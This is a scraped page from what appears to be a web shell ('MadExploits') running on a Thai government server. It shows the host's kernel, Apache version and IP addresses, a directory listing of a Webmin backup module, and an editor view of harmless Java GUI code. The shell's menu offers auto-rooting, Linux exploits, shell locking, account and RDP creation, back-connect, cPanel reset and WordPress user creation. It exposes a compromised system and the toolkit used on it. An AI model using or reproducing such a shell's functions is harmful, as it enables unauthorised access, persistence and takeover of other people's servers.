Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
bacula-backup /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
BaculaNode.class
2.47
KB
-rw-r--r--
BorderPanel.class
1.73
KB
-rw-r--r--
BorderPanel.java
1.02
KB
-rw-r--r--
CHANGELOG
1.06
KB
-rw-r--r--
CbButton.class
4.68
KB
-rw-r--r--
CbButton.java
5.31
KB
-rw-r--r--
CbButtonCallback.class
137
B
-rw-r--r--
CbButtonGroup.class
675
B
-rw-r--r--
CbScrollbar.class
4.2
KB
-rw-r--r--
CbScrollbar.java
7.62
KB
-rw-r--r--
CbScrollbarArrow.class
1.9
KB
-rw-r--r--
CbScrollbarCallback.class
164
B
-rw-r--r--
ErrorWindow.class
1.45
KB
-rw-r--r--
ErrorWindow.java
692
B
-rw-r--r--
FixedFrame.class
1.13
KB
-rw-r--r--
FixedFrame.java
765
B
-rw-r--r--
GrayPanel.class
571
B
-rw-r--r--
GrayPanel.java
170
B
-rw-r--r--
Hierarchy.class
5.69
KB
-rw-r--r--
Hierarchy.java
7.55
KB
-rw-r--r--
HierarchyCallback.class
219
B
-rw-r--r--
HierarchyNode.class
528
B
-rw-r--r--
Makefile
130
B
-rw-r--r--
TreeChooser.class
5.89
KB
-rw-r--r--
TreeChooser.java
6.84
KB
-rw-r--r--
Util.class
4.34
KB
-rw-r--r--
Util.java
3.15
KB
-rw-r--r--
apply.cgi
214
B
-rwxr-xr-x
backup.cgi
1.76
KB
-rwxr-xr-x
backup_config.pl
600
B
-rw-r--r--
backup_form.cgi
806
B
-rwxr-xr-x
bacula-backup-lib.pl
43.39
KB
-rwxr-xr-x
bootup.cgi
363
B
-rwxr-xr-x
cancel_jobs.cgi
674
B
-rwxr-xr-x
clientstatus_form.cgi
2.51
KB
-rwxr-xr-x
config
138
B
-rw-r--r--
config-syno-linux
136
B
-rw-r--r--
config-windows
151
B
-rw-r--r--
config.info
871
B
-rw-r--r--
config.info.ca
1
KB
-rw-r--r--
config.info.ca.UTF-8
1.02
KB
-rw-r--r--
config.info.de
959
B
-rw-r--r--
config.info.de.UTF-8
959
B
-rw-r--r--
config.info.fr
0
B
-rw-r--r--
config.info.ms_MY
1019
B
-rw-r--r--
config.info.ms_MY.UTF-8
1019
B
-rw-r--r--
config.info.nl
872
B
-rw-r--r--
config.info.nl.UTF-8
872
B
-rw-r--r--
config.info.no
999
B
-rw-r--r--
config.info.no.UTF-8
999
B
-rw-r--r--
config.info.pl
963
B
-rw-r--r--
config.info.pl.UTF-8
998
B
-rw-r--r--
config.info.pt_BR
0
B
-rw-r--r--
config.info.ru
1.17
KB
-rw-r--r--
delete_clients.cgi
749
B
-rwxr-xr-x
delete_devices.cgi
650
B
-rwxr-xr-x
delete_fdirectors.cgi
653
B
-rwxr-xr-x
delete_filesets.cgi
761
B
-rwxr-xr-x
delete_gjobs.cgi
830
B
-rwxr-xr-x
delete_groups.cgi
917
B
-rwxr-xr-x
delete_jobs.cgi
735
B
-rwxr-xr-x
delete_pools.cgi
732
B
-rwxr-xr-x
delete_schedules.cgi
773
B
-rwxr-xr-x
delete_sdirectors.cgi
666
B
-rwxr-xr-x
delete_storages.cgi
768
B
-rwxr-xr-x
delete_volumes.cgi
566
B
-rwxr-xr-x
dirstatus_form.cgi
2.3
KB
-rwxr-xr-x
edit_client.cgi
2.51
KB
-rwxr-xr-x
edit_device.cgi
2.2
KB
-rwxr-xr-x
edit_director.cgi
1.46
KB
-rwxr-xr-x
edit_fdirector.cgi
1.4
KB
-rwxr-xr-x
edit_file.cgi
1.11
KB
-rwxr-xr-x
edit_fileset.cgi
2.31
KB
-rwxr-xr-x
edit_gjob.cgi
4.41
KB
-rwxr-xr-x
edit_group.cgi
2.56
KB
-rwxr-xr-x
edit_job.cgi
5.34
KB
-rwxr-xr-x
edit_pool.cgi
2.62
KB
-rwxr-xr-x
edit_schedule.cgi
2.08
KB
-rwxr-xr-x
edit_sdirector.cgi
1.4
KB
-rwxr-xr-x
edit_storage.cgi
2.86
KB
-rwxr-xr-x
edit_storagec.cgi
1.25
KB
-rwxr-xr-x
fixaddr.cgi
481
B
-rwxr-xr-x
fixpass.cgi
513
B
-rwxr-xr-x
gbackup.cgi
1.59
KB
-rwxr-xr-x
index.cgi
6.13
KB
-rwxr-xr-x
install_check.pl
450
B
-rwxr-xr-x
label.cgi
1.49
KB
-rwxr-xr-x
label_form.cgi
974
B
-rwxr-xr-x
list.cgi
2.42
KB
-rwxr-xr-x
list_clients.cgi
1.29
KB
-rwxr-xr-x
list_devices.cgi
1.27
KB
-rwxr-xr-x
list_fdirectors.cgi
1.34
KB
-rwxr-xr-x
list_filesets.cgi
1.31
KB
-rwxr-xr-x
list_gbackup.cgi
814
B
-rwxr-xr-x
list_gjobs.cgi
1.52
KB
-rwxr-xr-x
list_grestore.cgi
1.62
KB
-rwxr-xr-x
list_groups.cgi
1.78
KB
-rwxr-xr-x
list_jobs.cgi
1.68
KB
-rwxr-xr-x
list_pools.cgi
1.23
KB
-rwxr-xr-x
list_schedules.cgi
1.26
KB
-rwxr-xr-x
list_sdirectors.cgi
1.34
KB
-rwxr-xr-x
list_storages.cgi
1.39
KB
-rwxr-xr-x
list_sync.cgi
795
B
-rwxr-xr-x
log_parser.pl
1000
B
-rwxr-xr-x
manual.sxw
24.8
KB
-rw-r--r--
module.info
194
B
-rw-r--r--
module.info.ca
190
B
-rw-r--r--
module.info.ca.UTF-8
205
B
-rw-r--r--
module.info.de
171
B
-rw-r--r--
module.info.de.UTF-8
183
B
-rw-r--r--
module.info.ms_MY
178
B
-rw-r--r--
module.info.ms_MY.UTF-8
190
B
-rw-r--r--
module.info.nl
30
B
-rw-r--r--
module.info.nl.UTF-8
36
B
-rw-r--r--
module.info.no
28
B
-rw-r--r--
module.info.no.UTF-8
34
B
-rw-r--r--
module.info.pl
184
B
-rw-r--r--
module.info.pl.UTF-8
198
B
-rw-r--r--
module.info.ru
74
B
-rw-r--r--
mount.cgi
916
B
-rwxr-xr-x
mount_form.cgi
885
B
-rwxr-xr-x
poolstatus_form.cgi
1.96
KB
-rwxr-xr-x
restart.cgi
196
B
-rwxr-xr-x
restore.cgi
4.97
KB
-rwxr-xr-x
restore_form.cgi
3.53
KB
-rwxr-xr-x
save_client.cgi
2.42
KB
-rwxr-xr-x
save_device.cgi
2.04
KB
-rwxr-xr-x
save_director.cgi
1.15
KB
-rwxr-xr-x
save_fdirector.cgi
1.57
KB
-rwxr-xr-x
save_file.cgi
1.01
KB
-rwxr-xr-x
save_fileset.cgi
2.7
KB
-rwxr-xr-x
save_gjob.cgi
2.93
KB
-rwxr-xr-x
save_group.cgi
2.33
KB
-rwxr-xr-x
save_job.cgi
2.91
KB
-rwxr-xr-x
save_pool.cgi
2.36
KB
-rwxr-xr-x
save_schedule.cgi
1.76
KB
-rwxr-xr-x
save_sdirector.cgi
1.57
KB
-rwxr-xr-x
save_storage.cgi
2.43
KB
-rwxr-xr-x
save_storagec.cgi
1.07
KB
-rwxr-xr-x
save_sync.cgi
737
B
-rwxr-xr-x
schedule_chooser.cgi
2.89
KB
-rwxr-xr-x
schedule_select.cgi
928
B
-rwxr-xr-x
start.cgi
187
B
-rwxr-xr-x
stop.cgi
183
B
-rwxr-xr-x
storagestatus_form.cgi
2.57
KB
-rwxr-xr-x
sync.pl
408
B
-rwxr-xr-x
treechooser.cgi
781
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Hierarchy.java
// Hierarchy // An AWT component for displaying a tree-like heirachy, with each node // having an icon and a name. This heirachy can be expanded or contracted // by the user. import java.awt.*; import java.util.Vector; public class Hierarchy extends BorderPanel implements CbScrollbarCallback { HierarchyNode root; // the root of the tree CbScrollbar sb; // scrollbar at right int width, height; // usable drawing area int sbwidth; // size of scrollbar HierarchyCallback callback; // who to call on open / close Image bim; // double-buffer image Font font = new Font("courier", Font.PLAIN, 12); FontMetrics fnm; // size of font used Graphics bg; // back-images graphics int top = 0; // top-most row displayed int count = 0; // total rows in the tree Insets in; // insets from border HierarchyNode sel; // selected node long last; // time of last mouse click static boolean broken_awt = System.getProperty("os.name"). startsWith("Windows"); // Create a new Hierarchy object with the given root Hierarchy(HierarchyNode r) { this(); root = r; } // Create a new Hierarchy object that calls back to the given object // when nodes are clicked on. Hierarchy(HierarchyNode r, HierarchyCallback c) { this(r); callback = c; } // Create an empty hierarchy object, with no callback Hierarchy() { super(3, Util.dark_edge_hi, Util.body_hi); // Create UI setLayout(null); sb = new CbScrollbar(CbScrollbar.VERTICAL, this); add(sb); } // Create an empty hierarchy object, set to report user actions to // the given object. Hierarchy(HierarchyCallback c) { this(); callback = c; } // redraw // Called by the using class when the tree passed to this object // changes, to force a redraw and resizing of the scrollbar void redraw() { if (fnm != null) { render(); paint(getGraphics()); compscroll(); } } // setRoot // Set the root node for this hierarchy void setRoot(HierarchyNode r) { root = r; redraw(); } // selected // Return the currently selected node, or null HierarchyNode selected() { return sel; } // select // Selected the given node void select(HierarchyNode s) { sel = s; } // force the use of some font public void setFont(Font f) { font = f; bim = null; repaint(); } // reshape // Called when this component gets resized public void reshape(int nx, int ny, int nw, int nh) { in = insets(); sbwidth = sb.minimumSize().width; width = nw-sbwidth - (in.left + in.right); height = nh - (in.top + in.bottom); sb.reshape(width+in.left, in.top, sbwidth, height); // force creation of a new backing images bim = null; repaint(); compscroll(); super.reshape(nx, ny, nw, nh); } // update // Called sometime after repaint() public void update(Graphics g) { render(); paint(g); } // paint // Blit the backing image to the front public void paint(Graphics g) { super.paint(g); if (bim == null) { // This is the first rendering bim = createImage(width, height); bg = bim.getGraphics(); bg.setFont(font); fnm = bg.getFontMetrics(); render(); compscroll(); } g.drawImage(bim, in.left, in.top, this); } // mouseDown // Called upon a mouseclick public boolean mouseDown(Event evt, int x, int y) { if (root == null) return false; // nothing to do HierarchyNode s = nodeat(root, x/16, (y/16)+top); if (s == null) { // Just deselect sel = null; repaint(); return true; } // Check for double-click boolean dc = false; if (evt.when-last < 500 && sel == s) dc = true; else last = evt.when; sel = s; if (dc && sel.ch != null) { // Open or close this node sel.open = !sel.open; if (callback != null) { // Notify callback, which MAY do something to change // the structure of the tree if (sel.open) callback.openNode(this, sel); else callback.closeNode(this, sel); } } else if (callback != null) { // Single click on a node or double-click on leaf node if (dc) callback.doubleNode(this, sel); else callback.clickNode(this, sel); } compscroll(); repaint(); return true; } public void moved(CbScrollbar s, int v) { moving(s, v); } public void moving(CbScrollbar s, int v) { top = sb.getValue(); compscroll(); repaint(); } // render // Draw the current tree view into the backing image private void render() { if (fnm != null) { int fh = fnm.getHeight(), // useful font metrics fa = fnm.getAscent(); bg.setColor(Util.light_bg); bg.fillRect(0, 0, width, height); if (root == null) return; // nothing to do bg.setColor(Util.text); recurse(root, 0, 0, fh, fa); } } // recurse // Render a node in the tree at the given location, maybe followed // by all it's children. Return the number of rows this node took // to display. private int recurse(HierarchyNode n, int x, int y, int fh, int fa) { int xx = x*16, yy = (y-top)*16; int len = 1; n.x = x; n.y = y; int tw = fnm.stringWidth(n.text); if (yy >= 0 && yy <= height) { // Draw this node if (n.im != null) bg.drawImage(n.im, xx, yy, this); if (sel == n) { // Select this node bg.setColor(Util.body); bg.fillRect(xx+17, yy+2, tw+2, 13); bg.setColor(Util.text); } bg.drawString(n.text, xx+18, yy+12); } if (n.ch != null && n.open && yy <= height) { // Mark this node bg.drawLine(xx+18, yy+14, xx+17+tw, yy+14); // Draw subnodes yy += 16; for(int i=0; i<n.ch.size() && yy<=height; i++) { int l=recurse((HierarchyNode)n.ch.elementAt(i), x+1, y+len, fh, fa); bg.drawLine(xx+7, yy+7, xx+15, yy+7); if (i == n.ch.size()-1) bg.drawLine(xx+7, yy, xx+7, yy+7); else bg.drawLine(xx+7, yy, xx+7,yy+(l*16)-1); len += l; yy += l*16; } } return len; } // compscroll // Re-compute scrollbar size private void compscroll() { if (fnm == null) return; int ct = root!=null ? count(root) : 1; int r = Math.min(ct, height/16 - 1); int c = ct - r; //sb.setValues(top, r==0?1:r, c<0?0:c); sb.setValues(top, r==0?1:r, ct); } // count // Returns the number of visible rows from a node private int count(HierarchyNode n) { int l = 1; if (n.open && n.ch != null) for(int i=0; i<n.ch.size(); i++) l += count((HierarchyNode)n.ch.elementAt(i)); return l; } // nodeat // Is the given node at the given position? If not, check its // children too. private HierarchyNode nodeat(HierarchyNode n, int x, int y) { if (y == n.y && x >= n.x) return n; if (n.ch == null || !n.open) return null; for(int i=0; i<n.ch.size(); i++) { HierarchyNode c = nodeat((HierarchyNode)n.ch.elementAt(i),x,y); if (c != null) return c; } return null; } } // HierarchyNode // One node in the tree displayed by the Hierarchy object. class HierarchyNode { boolean open; // is this node open? Image im; // icon for this node (assumed to be 16x16!) Vector ch; // sub-nodes of this one, or null String text; // name of this node int x, y; // row/column in list HierarchyNode() { } HierarchyNode(boolean o, Image i, Vector c, String t) { open = o; im = i; ch = c; text = t; } } // HierarchyCallback // Programmers using the Hierarchy class pass an object that implements the // HierarchyCallback interface to its constructor, to receive information // about user actions. interface HierarchyCallback { // openNode // Called when a node with children is opened void openNode(Hierarchy h, HierarchyNode n); // closeNode // Called when a node is closed void closeNode(Hierarchy h, HierarchyNode n); // clickNode // Called when the user clicks on a node void clickNode(Hierarchy h, HierarchyNode n); // doubleNode // Called when a user double-clicks on a node void doubleNode(Hierarchy h, HierarchyNode n); }
Close